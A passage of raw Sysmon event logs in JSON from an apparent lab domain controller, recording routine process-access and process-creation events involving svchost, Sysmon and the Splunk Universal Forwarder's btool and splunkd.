C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-00106F2E0500}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-00106F2E0500}","TargetProcessId":"3292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.828\r\nProcessGuid: {90617006-407C-5F2D-0000-0010272F0500}\r\nProcessId: 1552\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407C-5F2D-0000-00106F2E0500}\r\nParentProcessId: 3292\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.828","ProcessGuid":"{90617006-407C-5F2D-0000-0010272F0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407C-5F2D-0000-00106F2E0500}","ParentProcessId":"3292","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-00106F2E0500}\r\nSourceProcessId: 3292\r\nSourceThreadId: 3768\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010272F0500}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-407C-5F2D-0000-00106F2E0500}","SourceProcessId":"3292","SourceThreadId":"3768","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010272F0500}","TargetProcessId":"1552","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program 